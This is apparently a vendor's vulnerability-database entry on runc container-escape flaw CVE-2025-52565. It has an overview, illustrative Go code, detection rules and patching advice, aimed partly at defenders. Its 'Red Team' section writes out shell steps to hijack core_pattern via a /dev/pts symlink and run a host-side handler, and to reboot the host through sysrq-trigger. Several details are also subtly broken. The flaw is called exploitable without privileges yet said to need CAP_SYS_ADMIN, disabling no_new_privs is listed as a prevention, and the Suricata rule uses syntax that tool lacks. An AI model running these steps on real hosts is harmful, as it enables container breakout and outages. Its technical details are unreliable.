CVE-2025-52565
Executive Summary
CVE-2025-52565 is a high-severity container escape vulnerability in runc, the core container runtime used by Docker, containerd, and other OCI-compliant container engines. The flaw resides in the bind-mount logic for /dev/pts/$n to /dev/console inside containers. Due to insufficient path validation, an attacker with the ability to create symlinks inside a container can trick runc into bind-mounting sensitive host paths (such as /proc/sysrq-trigger or /proc/sys/kernel/core_pattern) into a writable location within the container. This occurs after pivot_root(2), preventing direct host filesystem writes, but the attacker can still achieve denial of service (via sysrq-trigger) or container breakout (via core_pattern). The vulnerability is conceptually similar to CVE-2025-31133 but targets a different code path.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the runc package, which is a critical dependency for container orchestration platforms. The Go package is distributed via GitHub releases and is embedded in Docker, containerd, Podman, and Kubernetes. Users should verify their runc version and update immediately. No malicious packages have been reported in public registries.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector: Local (requires container access)
- Attack Complexity: Low
- Privileges Required: Low (unprivileged container user)
- User Interaction: None
- Scope: Changed (container to host)
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Deep Dive & Mechanics
The vulnerability occurs in runc's libcontainer package during the setup of container consoles. When a container requests a console (e.g., via --tty), runc performs a bind-mount of the host's /dev/pts/$n (a pseudo-terminal slave) to the container's /dev/console. The path /dev/pts/$n is derived from the container's process file descriptor.
The flaw is that runc does not properly validate the resolved path of the bind-mount source. An attacker can create a symlink inside the container that points to a sensitive host path (e.g., /proc/sysrq-trigger). When runc attempts to bind-mount /dev/pts/$n, it follows the symlink and mounts the attacker-controlled path instead. Since the mount occurs after pivot_root(2), the attacker cannot directly write to the host filesystem, but they can mount a writable copy of /proc/sys/kernel/core_pattern or /proc/sysrq-trigger into the container.
- Denial of Service: By mounting
/proc/sysrq-triggerwritable, the attacker can trigger immediate system reboots or crashes. - Container Breakout: By mounting
/proc/sys/kernel/core_patternwritable, the attacker can set a custom core dump handler that executes arbitrary commands on the host when a process crashes.
The attack requires the container to have CAP_SYS_ADMIN or be run with --privileged (or have the no_new_privs flag disabled) to create symlinks and trigger the bind-mount. However, many container deployments grant these capabilities by default.
Vulnerable vs. Patched Code
Vulnerable Code (runc < 1.2.8):
// In libcontainer/container_linux.go or similar
func (c *linuxContainer) mountConsole() error {
// Directly uses the resolved path without validation
source := fmt.Sprintf("/dev/pts/%d", c.initProcess.pid())
// No check if source is a symlink or points to a sensitive path
if err := unix.Mount(source, "/dev/console", "", unix.MS_BIND, ""); err != nil {
return err
}
return nil
}
Patched Code (runc >= 1.2.8):
// In libcontainer/container_linux.go
func (c *linuxContainer) mountConsole() error {
source := fmt.Sprintf("/dev/pts/%d", c.initProcess.pid())
// Resolve the real path and check it's within /dev/pts
realPath, err := filepath.EvalSymlinks(source)
if err != nil {
return fmt.Errorf("failed to resolve console path: %w", err)
}
if !strings.HasPrefix(realPath, "/dev/pts/") {
return fmt.Errorf("console path %q is not in /dev/pts", realPath)
}
if err := unix.Mount(realPath, "/dev/console", "", unix.MS_BIND, ""); err != nil {
return err
}
return nil
}
The patch adds filepath.EvalSymlinks to resolve the source path and verifies it starts with /dev/pts/, preventing symlink-based redirection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Container with
CAP_SYS_ADMINor--privilegedflag - runc version 1.0.0-rc3 to 1.2.7, 1.3.0-rc.1 to 1.3.2, or 1.4.0-rc.1 to 1.4.0-rc.2
- Ability to create symlinks inside the container
Exploit Steps:
Create a malicious symlink:
# Inside the container ln -sf /proc/sys/kernel/core_pattern /dev/pts/0Trigger console allocation:
# Run a command that allocates a TTY runc exec --tty <container_id> /bin/shVerify the mount:
# Inside the container, check if /dev/console is now writable ls -la /dev/console cat /dev/console # Should show core_pattern contentExploit for breakout:
# Write a malicious core_pattern echo "|/tmp/exploit.sh %p %u %g %s %t %e" > /dev/console # Trigger a crash to execute the handler kill -SEGV $$
Alternative DoS:
ln -sf /proc/sysrq-trigger /dev/pts/0
# Then trigger console allocation and write 'b' to reboot
echo b > /dev/console
Blue Team (Detection & Prevention)
Detection:
- Monitor for unexpected mounts of
/procfilesystem paths inside containers - Alert on symlink creation to
/proc/sys/kernel/core_patternor/proc/sysrq-trigger - Use eBPF to trace
mountsyscalls with suspicious source paths
Prevention:
- Update runc to patched version (1.2.8+, 1.3.3+, 1.4.0-rc.3+)
- Drop
CAP_SYS_ADMINfrom containers unless absolutely necessary - Use seccomp profiles to block
mountsyscall - Enable AppArmor/SELinux profiles that restrict symlink traversal
- Use read-only root filesystems and disable
no_new_privs
Indicators of Compromise (IOCs)
File System:
- Symlinks in
/dev/pts/pointing to/proc/sys/kernel/core_patternor/proc/sysrq-trigger - Unexpected writable mounts of
/procfiles inside containers
- Symlinks in
Process:
runcprocesses with unusual mount source paths- Container processes writing to
/dev/consolewith non-TTY data
Network:
- Outbound connections from containers to external hosts (if core_pattern executes a reverse shell)
Logs:
- Auditd logs showing
mountsyscall with source path containing/proc - Container runtime logs with errors about console mount failures
- Auditd logs showing
Detection Engineering
YARA Rule
rule CVE_2025_52565_runc_console_mount {
meta:
description = "Detects symlink creation targeting /proc paths for runc console mount exploit"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52565"
severity = "high"
strings:
$symlink_target = "/proc/sys/kernel/core_pattern" nocase
$symlink_target2 = "/proc/sysrq-trigger" nocase
$symlink_cmd = "ln -sf" nocase
condition:
any of ($symlink_target*) and $symlink_cmd
}
Sigma Rule
title: Suspicious Symlink Creation for runc Console Exploit
id: 7a3b8c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects creation of symlinks from /dev/pts to /proc paths, indicating CVE-2025-52565 exploitation
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-52565
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/ln'
CommandLine|contains: '-sf'
CommandLine|contains: '/dev/pts/'
CommandLine|contains|any:
- '/proc/sys/kernel/core_pattern'
- '/proc/sysrq-trigger'
condition: selection
falsepositives:
- Legitimate administrative actions (rare)
level: high
tags:
- attack.privilege_escalation
- attack.t1068
Suricata Rule
alert syscall any any -> any any (msg:"CVE-2025-52565 - Suspicious mount syscall from runc"; syscall:mount; source_path:contains:"/proc/"; target_path:contains:"/dev/console"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
Patch runc: Upgrade to version 1.2.8, 1.3.3, or 1.4.0-rc.3 (or later).
# For Docker sudo apt-get update && sudo apt-get install containerd # Or manually replace runc binary sudo cp /usr/bin/runc /usr/bin/runc.bak sudo wget -O /usr/bin/runc https://github.com/opencontainers/runc/releases/download/v1.2.8/runc.amd64 sudo chmod +x /usr/bin/runcRestrict capabilities: Remove
CAP_SYS_ADMINfrom container runtimes.# Docker Compose example services: app: image: myapp cap_drop: - SYS_ADMINEnable seccomp: Use a seccomp profile that blocks the
mountsyscall.{ "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [ { "names": ["mount"], "action": "SCMP_ACT_ERRNO" } ] }
Long-term Mitigations:
- Implement runtime security monitoring (Falco, Tracee) to detect anomalous mounts
- Use container-optimized OS with immutable root filesystems
- Regularly audit container capabilities and security contexts
- Apply principle of least privilege to all container deployments
Workarounds (if patching is not possible):
- Disable TTY allocation for containers (
--tty=false) - Use
--read-onlyroot filesystem to prevent symlink creation - Apply AppArmor profile that denies symlink creation in
/dev/pts/
Valters IT